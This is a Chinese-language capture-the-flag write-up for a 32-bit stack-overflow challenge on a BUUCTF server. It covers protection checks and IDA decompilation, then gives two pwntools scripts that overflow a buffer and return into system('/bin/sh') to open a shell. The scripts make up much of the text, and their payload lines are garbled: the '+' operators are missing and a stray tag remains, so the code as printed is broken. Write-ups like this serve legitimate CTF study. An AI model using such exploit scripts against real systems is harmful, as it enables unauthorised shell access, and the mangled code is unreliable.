文章目录
- 一、查看文件
- 二、IDA反编译
- 代码
- 总结
一、查看文件
我们可以看到,几乎没有保护。
二、IDA反编译
我们拖到IDA看看代码: main函数中提到了一个 vulnerable_function(); 让我们看看这个函数 vulnerable_function(): 显然有栈溢漏洞。
既然有调用system函数,肯定是可以直接call我们看到了一波,个参数,我们看到了read函数心里不禁笑嘻嘻…
然而,稍安不躁,心存侥幸地看着一波string:
妈耶~出题人善良
代码
这里有两种方法
(1)
from pwn import* from LibcSearcher import * r=remote("node4.buuoj.cn",26046) syad=0x08048320 #system函数的位置 shad=0x0804a024 #/bin/sh的位置 p=b"a"*(0x88 0x04) p32(syad) p32(0) p32(shad)#其中p32(0) 是执行system可以找到合适的值替换函数后的存储地址。 r.recvuntil(b"Input:\n") r.sendline(p) r.interactive()
(2)
from pwn import* from LibcSearcher import * r=remote("node4.buuoj.cn",26046) #syad=0x08048320 shad=0x0804a024 #/bin/sh 的位置 #0x0804849e 是call system函数的位置 只需在后面加/bin/sh 可直接执行位置 不需要添加地址作为存储地址 p=b"a"*(0x88 0x04) p32(0x0804849e) p32(shad) r.recvuntil(b"Input:\n") r.sendline(p) r.interactive() /code>
总结
要先看函数结构,在去看栈结构,system和/bin/sh的位置很重要。